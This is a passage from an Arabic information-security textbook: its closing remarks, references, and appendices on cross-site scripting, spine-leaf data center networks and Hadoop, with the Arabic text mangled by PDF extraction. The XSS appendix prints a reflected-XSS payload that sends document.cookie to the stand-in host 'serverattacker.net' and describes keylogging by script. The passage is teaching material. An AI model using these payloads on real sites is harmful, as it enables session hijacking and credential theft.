‫الحظ بعض الباحثني وجود عالمة ُمشرتكة بني عدد من ا ُملخرتعني وال ُع َلامء‪ .‬وذي أهنم كانوا ُمصابني بنوع من‬
‫َ‬

‫الرضا عن أنفسهم"!‪ ،‬قكان يدقعهم ذذا لىل البحث ا ُملستمر وبذل ا ُ‬


‫جلهد غري العادي‪،‬‬ ‫األزمات النفسية وذي "عدم ِّ‬
‫بالرضا عن نتائجهم احلالية!‪.‬‬ ‫ٍ‬
‫والسهر لساعات طوال بسبب عدم شعورذم ِّ‬
‫قكانت ذذه ال ُعقدة النفسية سبب ًا يف ظهور لنجازاهتم غري املسبوقة!‪ ،‬ونتائجهم املُثرية للدذشة!‪.‬‬
‫َ‬
‫نكون ُمعقدين مثل ذؤالء!‪ ..‬‬ ‫ال نُريد أن‬
‫ولكن نُريد التحيل ببعض اإلرصار وبذل اجلهد لنَتمكن من التقدم لألمام دوم ًا‪.‬‬

‫لنَعود لىل الشيخ اجلليل‪...‬‬

‫واستكمل الشيخ‪ ..‬وأما الكلب‪ ..‬قكان ُيساب ُقني لىل َجد َول ماء‪ ،‬قيه ُعمق‪ ،‬أي أنه عميق بعض اليشء‪.‬‬
‫قلام أقدَ َم ذلك الكلب لىل اجلَدول‪ ،‬يبدو أنه رأى صورته يف املاء!‪،‬‬
‫العطش غلب ُه‪ ،‬قعاد‪ ..‬ثم ارتد قزع ًا‪ ..‬وذكذا لعدة ُحماوالت‪.‬‬
‫َ‬ ‫َق َفزع!‪ ،‬قابتَعد‪ ..‬لكن‬
‫لىل أن غلب ُه العطش قألقى بنفسه يف املاء!‪.‬‬

‫قتعلمت من ذذا الكلب‪ ..‬أن أكثر معاركنا‪ ،‬وأكثر رصاعاتنا‪ ،‬وأكثر ُماوقنا ذي أوذا ُمنا!!‬
‫ُ‬ ‫قال‪..‬‬
‫نخ ُل ُقها ُثم نُسق ُطها عىل الواقع ونُصدِّ ُقها!‪.‬‬
‫ذذه املخاوف ذي التي تُتع ُبنا‪ ..‬ذي التي تُصي ُبنا باإلعياء!‪.‬‬
‫وذذه ذي اخلوارزمية الثانية للنجاح‪..‬‬

‫‪Cryptography‬‬
‫]‪[420‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ال َختَف م َن التَجربة!‪ ،‬أقبل وال َختَف‪..‬‬

‫ُمعظم األمور تبدو صعبة يف بدايتها‪ ،‬لكن بالتحيل ببعض الشجاعة واحلكمه ُيمكن ال َت َغ ُّلب عىل ُ‬
‫الص ُعوبات‪ُ ،‬ثم النّ َظر‬
‫ققت َذدق ًا‪ ،‬احتفل به‪ ،‬واقرح به!‪ُ ،‬ثم انتقل لىل الذي َيليه!‪.‬‬
‫لىل ما وراءذا‪ ،‬وذكذا‪ ..‬كُلام َح َ‬

‫ُمعا َدالت النجاح كثرية و ُمتعدِّ َدة‪،‬‬


‫راستها‪ ..‬ذو تَطبيق ما نَعرق ُه منها أوالً!‪.‬‬
‫واألقضل من َمعر َقتها ود َ‬
‫وهلذا َسنكتفي ِباتني اخلوارزميتني‪.‬‬

‫‪Cryptography‬‬
‫]‪[421‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ب أن ُأذنِّئك‪..‬‬
‫ُأح ُ‬
‫صلت لىل هناية ذذا الكتاب ب َحمد اهلل تعاىل‪..‬‬
‫لقد َو َ‬
‫أمتنى أن يكون قد َ‬
‫نال لعجابك‪..‬‬

‫]‪[422‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

This page is intentionally left blank

[423]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

References
Books:
Ref (1) Hacking, the art of exploitation (2nd Edition).
Ref (2) Computer Networking, a top-down approach (Sixth Edition).
Ref (3) The Shellcoders Handbook.
Ref (4) Practical Malware Analysis.
Ref (5) Practical Packet Analysis (2nd Edition).
Ref (6) Grayhat Hacking (3rd Edition).
Ref (7) Cryptography and Network Security (Fifth Edition).
Ref (8) Sybex CISSP Studygide (3rd Edition).
Ref (9) Sybex CISA Studyguide (2nd Edition).
Ref (10) The Practice of network security monitoring – Nostarch press

Websites:
www.wikipedia.com
www.stackoverflow.com

[424]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Appendixes
(A), (B) and (C)

[425]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

.Injection Attacks ‫ شكل من أشكال ال‬XSS ‫ُيعت ََرب ال‬

‫ ليتم لدطال‬data entry ‫ أو ال‬input ‫ عىل أهنا الثغرات التي تَستَخدم طاصية ال‬injection exploits ‫نقوم بتعريف ال‬
.operation ‫ قينتُج بذلك تغيري أو ختريب لوظيفة ذذه ال‬،‫ املطلوبة‬data ‫كود بدالً من لدطال ال‬

:‫ ماييل‬injection attacks ‫من أمثلة ال‬


SQL injection, DOM injection, & XSS

‫؟‬..XSS ‫ماذذا ال‬


Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious
JavaScript in another user's browser.

[426]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كيف يتم ذذا؟‬


‫ال يقوم ال ‪ Attacker‬باطرتاق ‪ user‬بعينه!‪ ،‬بينام يقوم باستغالل ثغرة يف ال ‪ Website‬الذي سيقوم ال ‪ user‬بزيارته‪.‬‬
‫حينها يستخدم ال ‪ Attacker‬ذذا املوقع كأداة لتوصيل ال ‪ malicious code‬لىل ال ‪ user‬الذي يتصفح املوقع‪.‬‬
‫ويتعامل ال ‪ browser‬اخلاص بال ‪ user‬مع ال ‪ malicious code‬عىل أن ُه جزء من املوقع وال ُيالحظ أنه كود مشبوه!‪.‬‬
‫ذذا ذو التعريف الشهري ألول نوع من ال ‪ ،XSS‬وذو ال "‪ ،"Persistent XSS‬وغالب ًا يتم كتابة ذذا الكود ب ُل َغة اجلاقا‪.‬‬

‫كيف يقوم ال ‪ Attacker‬بعمل ‪ inject‬هلذا ال ‪ code‬داطل صفحات املوقع؟‬


‫يف حالة لذا َ‬
‫كان املوقع حيتوي عىل أي نوع من أنواع ال ”‪.“user inputs‬‬
‫لنفرض أن أحد صفحات موق ٍع ما حتتوي عىل ‪ Script‬وظيفت ُه عرض تعليقات الزوار‪ ،‬وحتديد ًا آطر تعليق‪ ،‬سيكون‬
‫شكل ذذا ال ‪ Script‬كام ييل‪:‬‬

‫ذذا ال ‪ Script‬سيقوم بعمل ‪ access‬لىل ال ‪ Data Base‬اخلاصة بتعليقات الزوار‪ ،‬ليلتقط منها آطر تعليق ُثم يعرضه‬
‫للمستخدمني‪.‬‬
‫عىل الشاشة ُ‬

‫]‪[427‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كيف يستغل ال ‪ Attacker‬ذذا ال ‪ Script‬إلدراج الكود اخلاص به؟‬


‫َس َيعتَرب ال ‪ Attacker‬نفسه أحد الزوار‪ ،‬ثم بدالً من لرسال تعليق سيقوم بإرسال كود‪ ،‬ذذا الكود سيتم ختزينه يف‬
‫قاعدة البيانات ”‪ُ ،“db‬ثم يتم عرض ذذا التعليق األطري (الكود) ألي ‪ user‬يفتح ذذه الصفحة‪.‬‬
‫لنُشاذد ما سيتلقاه أي ‪ user‬بعد لرسال الكود‪.‬‬

‫النقاط التي بني ال ‪ُ <Script></Script> Tags‬ت َع ِّرب عن ال ‪ ،malicious code‬ذذا الكود ربام تكون وظيفته‬
‫الوصول لىل ال ‪ Cookie‬اخلاصة ِبذا ال ‪ user‬ونسخها ُثم لرساهلا لىل ال ‪.Attacker‬‬

‫بعض اآلثار ا ُملرتتبة عىل وقوع أحدذم ضحية لل ‪.malicious code‬‬


‫‪َِ -1‬س َقة ال ‪Cookies‬‬

‫يقوم ال ‪ Attacker‬بتضمني كود مستخدم ًا األمر ‪ document.cookie‬يف أحد ال ‪ ،input forums‬قيتمكن ِبذا‬
‫احلصول عىل ال ‪ cookie‬اخلاصة بأي زائر هلذه الصفحة‪.‬‬
‫‪ِ -2‬سقة كلامت املرور عن طريق ال ‪.Keylogging‬‬
‫يقوم ال ‪ُ attacker‬ذنا ب َزرع ‪ keyboard event listener‬باستخدام األمر ‪addEventListener‬‬

‫ليتم لرسال مايتم كتابته بالكيبورد لىل ال ‪ Server‬اخلاص بال ‪.Attacker‬‬

‫]‪[428‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

XSS Attack types:

Persistent XSS
where the malicious string originates from the website's database.

Reflected XSS
where the malicious string originates from the victim's request.

DOM-based XSS
where the vulnerability is in the client-side code rather than Server-side code.

Persistent XSS
:‫ماييل شكل يوضح ططوات تنفيذ ذذا النوع من اهلجوم‬

[429]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫(‪ )1‬يقوم ال ‪ attacker‬باستغالل أحد ال ‪ input forums‬يف املوقع ليقوم بإدطال ‪ malicious string‬لليه عن‬
‫طريق ‪.Post method‬‬

‫ماذذا ال ‪..Post method‬؟‬


‫يف البداية نقوم بتعريف ال ‪ HTTP‬عىل أنه الربوتوكول األسايس الذي ُي َعد بوابتك لدطول ال ‪ .WWW‬يستخدم ذذا‬
‫الربوتوكول نظام ثابت يف عملية التواصل بني ال ‪ clients‬وال ‪ ،server‬وذي ال ”‪ُ ،“Message based system‬‬
‫حيث‬
‫يقوم قيها ال ‪ client‬بإرسال ‪ ،request‬ويقوم ال ‪ server‬بالرد عليه ‪ .response‬من أشهر ال ‪ methods‬التي يتعامل‬
‫ذي ال ‪ ،Get‬وال ‪.Post‬‬
‫ِبا ذذا الربوتوكول َ‬

‫]‪[430‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫تُستَخدَ م ال ‪ Get‬عندما يقوم ال ‪ client‬بطلب ‪ resource‬بعينه من ال ‪ ،(Retrieve a resource) ،server‬بينام‬


‫تُستخدَ م ال ‪ Post‬لتقوم بعمل ‪ Action‬ما‪(to perform action) ..‬‬
‫مثال لعملية ال ‪ ،post‬قيامك بالضغط عىل ‪ send‬مث ً‬
‫ال بعد ملئ ‪ forum‬ما أو أثناء لجراء عملية بحث‪.‬‬

‫(‪ )2‬يقوم أي ‪ user‬عشوائي ُذنا بطلب ذذه الصفحة من املوقع‪ ،‬الحظ استخدام ‪.Get method‬‬
‫(‪ )3‬يقوم املوقع بعمل ‪ Response‬لل ‪ victim‬بإرسال الصفحة وِبا ال ‪ malicious string‬التي قام ال ‪ attacker‬بإدطاهلا‬
‫لىل قاعدة البيانات يف اخلطوة األوىل‪ .‬الحظ الرقم ‪ 200‬يف ال ‪ response‬وذو يعني ماييل‪:‬‬
‫‪it means that the request was successful, and that the requested resource is being returned.‬‬

‫(‪ )4‬يقوم ال ‪ victim’s browser‬بتنفيذ ال ‪ malicious code‬وذو عبارة عن كود لنسخ ال‬
‫‪ Session cookie‬اخلاص بال ‪ victim‬ولرساله لىل ‪ Server‬خيُص ال ‪.attacker‬‬
‫ومالذي سيستفيده ال ‪ attacker‬بعد أطذ ذذا ال ‪..Session cookie‬؟‬
‫سيقوم بعدذا بالتعامل مع ذذا املوقع عىل أن ُه ُذ َو ذذا ال ‪ ،victim‬أي أنه سيتمكن من انتحال شخصية ذذا ال ‪.user‬‬

‫لقد قهمنا النوع األول من ثغرات ال ‪.XSS‬‬


‫سننتقل لتوضيح النوع الثاين وبه نختم ذذا املوضوع‬

‫]‪[431‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Reflected XSS

.‫ اطرتت ُه لك‬the web application hacker’s handbook ‫ماييل مثال من كتاب‬

“Session Token” ‫وحيصل عىل ال‬


ُ ،‫ عىل اإلنرتنت‬web applications ‫ ألحد ال‬Login ‫ بعمل‬user ‫) يقوم ال‬1(
.‫اخلاصة ِبذه العملية‬
‫؟‬..Session token ‫وماذذا ال‬
‫ قكُل‬.request-response model ‫ ويعتمد عىل ال‬،Stateless protocol ‫ ُي َعد‬HTTP ‫ذكرنا من قبل أن بروتوكول ال‬
“independent transaction” ‫ َيعتَرب ُذم‬response ‫ و‬request

[432]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وبالتايل ال يملك ال ‪ HTTP‬طريقة أو ‪ mechanism‬ليقوم بربط سلسلة من ال ‪ requests‬اخلاصة ب ‪ user‬بعينه!‪.‬‬


‫وبالنظر لىل مواقع االنرتنت اآلن‪ ،‬ستجد أهنا تُقدم لك طدمة ال ‪ ،login‬وطدمة الرشاء اإللكرتوين‪ ،‬وأيض ًا تقوم ذذه‬
‫املواقع بت ََذكُّر ما ُق َ‬
‫مت به لدهيم يف الزيارات املاضية‪.‬‬
‫قكيف تقوم املواقع ِبذا األمر؟‬
‫لتحقيق ٍ‬
‫أي من ذذه اخلدمات‪َ ،‬ستَحتاج ذذه املواقع تطبيق مبدأ نُطلق عليه ”‪.“Session‬‬
‫الحظ أن عدم وجود ال ‪ Session‬سيجعل عملية ال ‪ login‬مث ً‬
‫ال تتكرر يف كل صفحة أو كل ‪ request‬جديد!‪.‬‬

‫قام وظيفة ذذه ال ‪ Session‬لذ ًا؟‬


‫بعد أن يقوم ال ‪ user‬بتسجيل الدطول‪ ،‬يقوم املوقع بفتح ‪ Session‬هلذا ال ‪ُ ،user‬ثم يتعامل مع بقية ال ‪ requests‬التي‬
‫تتم داطل ذذه ال ‪ session‬عىل أهنا تت َبع ذذا ال ‪.user‬‬
‫وبالتايل ُيريد املوقع التأكُّد من أن سلسلة ال ‪ requests‬ذذه قادمة من ذذا ال ‪ user‬حتديد ًا!‪ ،‬وليس أحد غريه‪ .‬وذذا‬
‫التأكُّد يتم باستخدام ال ”‪“Session Token‬‬

‫قام ذذا ال ‪..Token‬؟‬


‫لكُل ‪ user‬يفتح ‪ session‬مع املوقع‪ ،‬يتم لعطاؤه رقم عشوائي ُيسمى ‪ Session ID‬أو ‪ ،Token‬وعندما يبدأ ذذا ال‬
‫‪ user‬بإرسال ‪ request‬جديد أو االنتقال لصفحة أطرى قيقوم بتضمني ذذا ال ‪ ID‬يف ال ‪ ،request‬قيتمكن حينها‬
‫املوقع من ربط ذذا ال ‪ request‬بالذي قبله‪ ،‬ومن ثم التح ُّقق من ذذا ال ‪.user‬‬

‫]‪[433‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ قيضغط عليه دون تدقيق يف‬victim ‫“ يظهر أمام ال‬message error” ‫ ُذنا بإرسال كود داطل‬Attacker ‫) يقوم ال‬2(
:user ‫ ذذا مثال عىل مايظهر لل‬.!‫معناه‬

Session ID ‫ أو ال‬cookie ‫ من املوقع بأن ُيرسل له املوقع ال‬victim ‫ سيطلبه ال‬request ‫ذذا الكود عبارة عن‬

:‫ كامييل‬.attacker ‫ اخلاص بال‬server ‫ ويتم حتويله لىل ال‬،‫اخلاص به‬

http://website.net/error/5/Error.ashx?message=<script>var+i=new+Image;
+i.src=”http://serverattacker.net/”%2bdocument.cookie;</script>

‫ الغري أطالقي‬request ‫ بإرسال ال‬user ‫) يبدأ ال‬3(


.‫ لليه‬session ID ‫ بإرسال ال‬victim ‫) يقوم املوقع بالرد عىل ال‬4(
:‫ التايل‬javascript code ‫ بتنفيذ ال‬victim’s browser ‫) يبدأ ال‬5(
<script>var+i=new+Image;+i.src=”http://serverattacker.net/”%2bdocument
.cookie;</script>

[434]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

،attacker ‫ اخلاص بال‬server ‫ لىل ال‬request ‫ عن طريق عمل‬Attacker ‫ لىل ال‬Session ID ‫ ال‬victim ‫) ُيرسل ال‬6(
.victim ‫ اخلاصة بال‬Session Token ‫ يتضمن ال‬request ‫ذذا ال‬
:request ‫ماييل شكل هلذا ال‬
session id ‫الحظ ال‬
GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: serverattacker.net
.victim ‫ ويتعامل مع املوقع ُمنتحالً شخصية ال‬session id ‫ ذذا ال‬attacker ‫) يستخدم ال‬7(

Appendix (B)

Spine & Leaf Architecture Vs Traditional Data


Center Architecture

[435]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫مع انتشار تكنولوجيا ال ‪ Virtualization‬وال ‪ ،Cloud Computing‬وال ‪ Distributed Cloud‬م َثل تكنولوجيا ال‬
‫‪ Hadoop‬يف بيئة ال ‪ ..Data Center‬بدأت احلاجة الفعلية ملزيد من املُقومات ولىل الُسعات العالية يف نقل البيانات‬
‫والتي مل ُيثبت ال ‪ Traditional Architecture‬الكفاءة ِبا!‪،‬‬
‫قبدأت احلاجة البتكار ‪ Architecture‬أو ‪ Model‬جديد و ُموقر يف نفس الوقت‪ .‬قكانت احلاجة لظهور‪Architecture‬‬

‫َجديد ليحل َحمل النظام التقليدي ”‪.“Three-Tier Networking Model‬‬

‫ما ذذا ال ”‪ “Hadoop‬أوالً‪..‬؟‪،‬‬


‫كي أقهم ملاذا سنحتاج ل ‪ Network Architecture‬جديد لنَتَمكن من التعا ُمل معه!‪.‬‬

‫ُقم ُت ب َرشح ال ‪ Hadoop‬يف املُ َ‬


‫لحق األطري‪ ،Appendix (C) ،‬تستطيع اإلنتقال لليه لن شئت‪.‬‬

‫وما ذذا ال ”‪..“Three-Tier Networking Model‬؟‬


‫ذا ذو‪..‬‬

‫]‪[436‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Core Layer
Core Layer is considered as the back bone of networks, The Core Layer routers move
information on the network as fast as possible.
Core Layer consists of biggest, fastest, and most expensive routers with the highest model
numbers.

Aggregation Layer
The purpose of this layer is to provide boundary definition by implementing access lists and
other filters. Therefore the Distribution Layer defines policy for the network. Distribution Layer
includes layer 3 switches. it ensures that packets are properly routed between subnets and
VLANs in the enterprise.

[437]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Access Layer
Access layer switches ensures that packets are delivered to the end devices,
It includes Access Switches which are connected to the end devices (Computers, and Servers).

.Data Center ‫ ا ُملتعارف عليهم يف ال‬Traffic Patterns ‫سنقوم بتوضيح نوعني من ال‬
:‫النوع األول‬

North-South Traffic
.“Client-Server Traffic” ‫ نُطلق عليه أيض ًا‬Traffic ‫ذذا النوع من ال‬
Traffic between Data Center and any thing else outside, (Traffic that travels in and out of the
data center).

..‫ذذه بعض األمثلة عليه‬


.SharePoint ‫ أو ال‬،Exchange ‫ أو ال‬،HTTP/HTTPs ‫ اخلاص بال‬Traffic ‫ال‬
‫ الذي تكلمنا عنه باألعىل ُيثبت كفاءة جيدة يف التعامل مع مثل ذذه األنواع‬Network Model ‫يتضح أن ال‬
‫ ذذا‬.Data Center ‫ بداطل ال‬Servers ‫ وال‬Remote Clients ‫ التي تكون يف األغلب بني ال‬Traffic ‫من ال‬
:‫ واحلامية يف حالة حدوث أي طلل أو كام نقول‬Redundancy ‫ َمبني عىل مبدأ ال‬Network Model ‫ال‬
.Spanning Tree Protocol ‫ وذلك عن طريق تفعيل ال‬.“Resiliency against any failure”
‫ كام يظهر بالشكل بالصفحة‬Network Links ‫ من ال‬50% ‫ولكن عند تفعيل ذذا الربوتوكول ينتج عن ذلك َحجب ل‬
.‫املاضية‬

[438]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذه ال ‪ Links‬التي حدث هلا ‪ Blocking‬هلا ميزة وعيب يف ذات الوقت!‪.‬‬


‫ُ‬
‫حيث تكون ك ‪ Backup‬يتم تفعيل ُه يف حالة حدوث ‪ Failure‬ألي‬ ‫امليزة أهنا ستمنع حدوث ‪ Looping‬يف الشبكة‪،‬‬
‫‪ Link‬قعال‪ .‬والعيب أهنا َستَحرمنا من ‪ 50%‬من ال ‪ Bandwidth‬املار داطل الشبكة بسبب تعطيل ذذه اللينكات!‪.‬‬
‫سننتقل لىل النوع الثاين من ال ‪ Traffic‬و ُنشاذد كيف سيتعامل ال‬
‫‪ Traditional Network Model‬معه!‪.‬‬

‫‪East-West Traffic‬‬
‫مع ظهور التكنولوجيا احلديثة‪ ،‬كال ‪ Virtualization‬وال ‪ Distributed Cloud‬بدأ املسار يتجه ل ‪ Pattern‬آطر من‬
‫ال ‪ Traffic‬وذو ال ‪ .East-West‬ونُطلق عليه أيض ًا ”‪ ،“Server-to-Server Traffic‬وذو ال ‪ Traffic‬احلادث داطل‬
‫ال ‪ Data Center‬ذاهتا‪ .‬قلو قرضنا وجود ‪ُ Server‬متصل بال ‪ Access Switch‬املوجود يف أقىص اليسار‪ُ ،‬يريد أن‬
‫يتواصل مع ‪ Server‬آطر ُمتصل بال ‪ Access Switch‬املوجود بأقىص اليمني‪ ،‬قكيف سيتم ذلك؟‬

‫ستقوم ال ‪ Packet‬بأطذ مسار ألعىل لىل ال ‪ Core Routers‬ومن َثم ألسفل مر ًة أطرى كي تصل لىل ال ‪Switch‬‬

‫اآلطر يف أقىص اليمني!‪ .‬وذذا يؤدي ملزيد من ال ‪ Latency‬وذدر لل ‪ Bandwidth‬بالشبكة!‪.‬‬

‫]‪[439‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وبفرض وجود ‪( Cluster of Servers‬نتكلم ُذنا عن مئات من ال ‪ )Servers‬التي تقوم بعمل ‪Calculations in‬‬

‫‪ parallel‬كام يف حالة استخدام ال ‪ Apache Hadoop‬عىل سبيل املثال‪ ،‬قلن تتحمل الشبكة هنائي ًا أي نقص يف ال‬
‫تواصل ُمكثف قيام بينها داطل ال‬
‫ُ‬ ‫‪ Bandwidth‬أو يف ال ‪ .Latency‬وذذا ألن ال ‪ُ Servers‬ذنا ستحتاج لعمليات‬
‫‪ .!Cluster‬قإذا جئنا لتطبيق ذذا األمر باستخدام ال ‪ Traditional Model‬وذو ال ‪،Three-tier Architecture‬‬
‫قنكون ِبذا نُؤدي لضياع ال ‪ Business‬املرجو من وراء ذذا ال َع َمل‪.‬‬

‫اإلنتقال لىل ال ”‪“Spine-Leaf Architecture‬‬

‫]‪[440‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يتكون ذذا ال ‪ Architecture‬من جزئني أساس َي ّني‪ُ ،‬ذم كام ييل‪:‬‬


‫”‪“Spine Switches, and Leaf Switches‬‬
‫ذذه ال ‪ُ Spine Switches‬يمكن اعتبارذا طبقة ال ‪ ،Core‬قال ‪ Spine‬عبارة عن‪:‬‬
‫‪High-Throughput Layer 3 Switch‬‬

‫بمثابة ال )‪ (Connection Points‬لل‬


‫قهي تُعتَرب َ‬ ‫ويف ا ُملقابل ُيمكنُنا ت َ‬
‫َصور طبقة ال ‪ Leaf‬عىل أهنا ال ‪َ ،Access Layer‬‬
‫‪ ،Servers‬كام أهنا متتلك ال ‪ Uplinks‬لىل ال ‪.Spine Switches‬‬

‫يبدو واضح ًا من ذذا ال ‪ Architecture‬أن كل ‪ُ Leaf Switch‬متَصل بجميع ال ‪.Spine Switches‬‬


‫”‪“Every Leaf switch is connected to every Spine switch‬‬
‫ولكن ماذا يعني ذذا؟‬
‫ذذا يعني أنه ألي ‪ Server‬يود التواصل مع أي ‪ Server‬آطر‪َ ،‬س َيس ُلك مسار ًا ثابت ًا وواضح ًا!‪ ،‬سيقوم بالصعود لىل ال‬
‫‪ُ Spine‬ثم النزول لىل ال ‪ Leaf‬املوصول ِبذا ال ‪.Server‬‬
‫الصعود لىل ال ‪Spine‬‬ ‫ُ‬
‫حيث لن تكون بحاجة لىل ُ‬ ‫( ُيستثنى من ذلك ال ‪ Servers‬ا ُملتصلة بنَفس ال ‪Leaf Switch‬‬

‫حينها)‪.‬‬

‫ذذا ال ‪ Architecture‬يعمل بكفاءة عالية يف حالة ال ”‪ “East-West Traffic Pattern‬لقيامه بتفعيل كامل ال‬
‫‪ Network Resources‬وتاليف اهلدر احلادث يف ال ‪.Bandwidth‬‬

‫]‪[441‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫)‪Appendix (C‬‬

‫ذو عبارة عن "‪ "Open-Source Software Framework‬قامت بتطويره ‪.Apache Foundation‬‬


‫يستطيع ال ‪ Hadoop‬عمل ‪ Processing‬لألحجام الضخمة من البيانات كت َ‬
‫لك اخلاصة بقواعد بيانات ُحم ِّرك ال َبحث‬
‫بمعاجلة وتوزيع ذذه البيانات‬
‫الشهري ‪ ،Google‬أو ببيانات ال ‪ Applications‬الكبرية كالفيسبوك‪ .‬يقوم ال ‪ُ Hadoop‬‬
‫العمالقة عىل ال ‪ Hardware‬باستخدام تكنولوجيا ال ‪.Distributed Computing‬‬

‫ماذذا ال ‪.. Distributed Computing‬؟‬

‫‪Distributed computing is a model in which components of a software system are shared among‬‬
‫‪multiple computers to improve efficiency and performance.‬‬
‫عرب عن عملية تشغيل ‪ Application‬أو ‪ System‬ما‪ ،‬عىل جمموعة من األجهزة بدالً من جهاز واحد!‪ ،‬ذذه‬
‫لنه ُي ِّ‬
‫األجهزة تُسمى ‪ ..Nodes‬ذذه ال ‪ Nodes‬تكون ُمرتبطة ببعضها داطل شبكة‪ ..‬ذذه الشبكة من األجهزة املُرتاصة‬
‫ُسميها ‪ ..Cluster‬ذذا ال ‪ Cluster‬نُسميه ”‪ “Cluster Computing‬لذا كانت الشبكة حملية )‪ ،(LAN‬ونُطلق عليه‬
‫ن ِّ‬
‫”‪ “Grid Computing‬يف حالة لذا كان ال ‪ُ Distributed Computing‬موزع عىل ال )‪ .(WAN‬نستخدم أيض ًا مبدأ ال‬
‫‪ Distributed Computing‬يف ال ‪ Computational Problems‬الكبرية‪ ،‬والتي ال ُيمكن جلهاز وحيد استيعاِبا!‪ ،‬قيتم‬
‫تقسيم ذذه ال ‪ Process‬أو ال ‪ Problem‬لىل جمموعة من ال ‪ Tasks‬أو املهام‪ ،‬يتم توزيعها عىل جمموعة من ال ‪،Nodes‬‬
‫ذذه ال ‪ Nodes‬لدهيا القابلية للتواصل مع بعضها البعض كام يظهر بالشكل‪.‬‬

‫]‪[442‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذا التواصل يتم باستخدام تكنيك ُيسمى ”‪..“Message Passing‬‬

‫حيث ُيتيح لل ‪ Objects‬ا ُمل ِّ‬


‫كونة هلذا ال‬ ‫ذذا ال ‪ُ Message Passing‬يستخدم يف العديد من تطبيقات الكمبيوتر احلديثة ُ‬
‫‪ Software‬واملوزعة عىل ال ‪ Nodes‬بإمكانية التواصل مع بعضها بأسلوب ذكي وِسيع‪ ،‬عوض ًا عن األسلوب‬
‫التقليدي بأن حيدُ ث ‪ Call‬لل ‪ Program‬بإسمه!‪ُ .‬مت َ ِّثل األسهم الطويلة نسبي ًا التي تربط بني ال ‪ Nodes‬يف اجلهة‬
‫ال ُيُسى عملية ال ‪ Message Passing‬بينهم‪.‬‬

‫‪ ‬يظهر عىل اليمني النظام البسيط‪ ،‬وذو ال ‪ ،Parallel Computing‬نُالحظ وجود ‪ Shared Memory‬يتشارك ِبا‬
‫جمموعة من ا ُملعاجلات ‪.Multiprocessor‬‬
‫‪ ‬بينام عىل اليسار يبدو أنه ‪ ،Distributed Memory System‬و ُيشري اإلطار ا ُملحيط بكل ‪ Node‬لىل أنه جهاز ُمستقل!‪،‬‬
‫ُسميه بال ‪.Multicomputer‬‬
‫وذذا ما ن ِّ‬

‫]‪[443‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لنعود لىل ال ‪ Hadoop‬من جديد‪.‬‬


‫ُقلنا أن ال ‪ Hadoop‬يقوم بتقسيم ال ‪ Big Data‬لىل ‪ .Blocks‬ذذه ال ‪ Blocks‬يتم ختزينها يف األجهزة ا ُملوزعة عىل ال‬
‫‪ .Clusters‬وبزيادة عدد ال ‪ ،Nodes‬تزيد ِسعة معاجلة ذذه ال ‪ ،Big Data‬أيض ًا عند حدوث طلل أو َت َلف يف أحد‬
‫ال ‪ ،Nodes‬لن يتأثر ال ‪ Application‬أو ال ‪ Data‬بسبب عملية النقل األوتوماتيكي هلذا ال ‪ Load‬لىل أي ‪Node‬‬

‫ُأطرى يف ال ‪ .Cluster‬كام أنه يقوم بعمل أكثر من نُسخة من البيانات حتى يتمكن من اسرتجاعها يف حالة حدوث أي‬
‫ققد‪ ،‬وذذا ما نُسميه بال ”‪“High Availability‬‬

‫خلصائص األُطرى ا ُمل َميزة لل ‪ Computer Cluster‬تفعيله ل َع َملية ال ”‪.“Load Balancing‬‬


‫م َن ا َ‬

‫ماذذا ال ”‪..“Load Balancing‬؟‬


‫ماييل تعريف الويكيبيديا له‪:‬‬
‫‪load balancing improves the distribution of workloads across multiple computing resources, such‬‬
‫‪as computers, a computer cluster, network links, central processing units, or disk drives. Load‬‬
‫‪balancing aims to optimize resource use, maximize throughput, minimize response time, and‬‬
‫‪avoid overload of any single resource.‬‬

‫ذذا ال ‪ Hadoop Framework‬يف األساس عبارة عن جزئني رئيسيني‪:‬‬


‫‪ -‬اجلزء األول وذو اخلاص بال ”‪ “Storage‬أو التخزين‪ ،‬و ُيط َلق عليه )‪ .(HDFS‬سنأيت لليه بعد قليل‪..‬‬

‫‪ -‬واجلزء الثاين ذو ا ُملختَص ُ‬


‫بمعاجلة البيانات ”‪ “Processing‬و ُيسمى )‪.(MapReduce‬‬

‫سنوضح وظيفة ذذه ال ‪ Core Modules‬ا ُمل ِّ‬

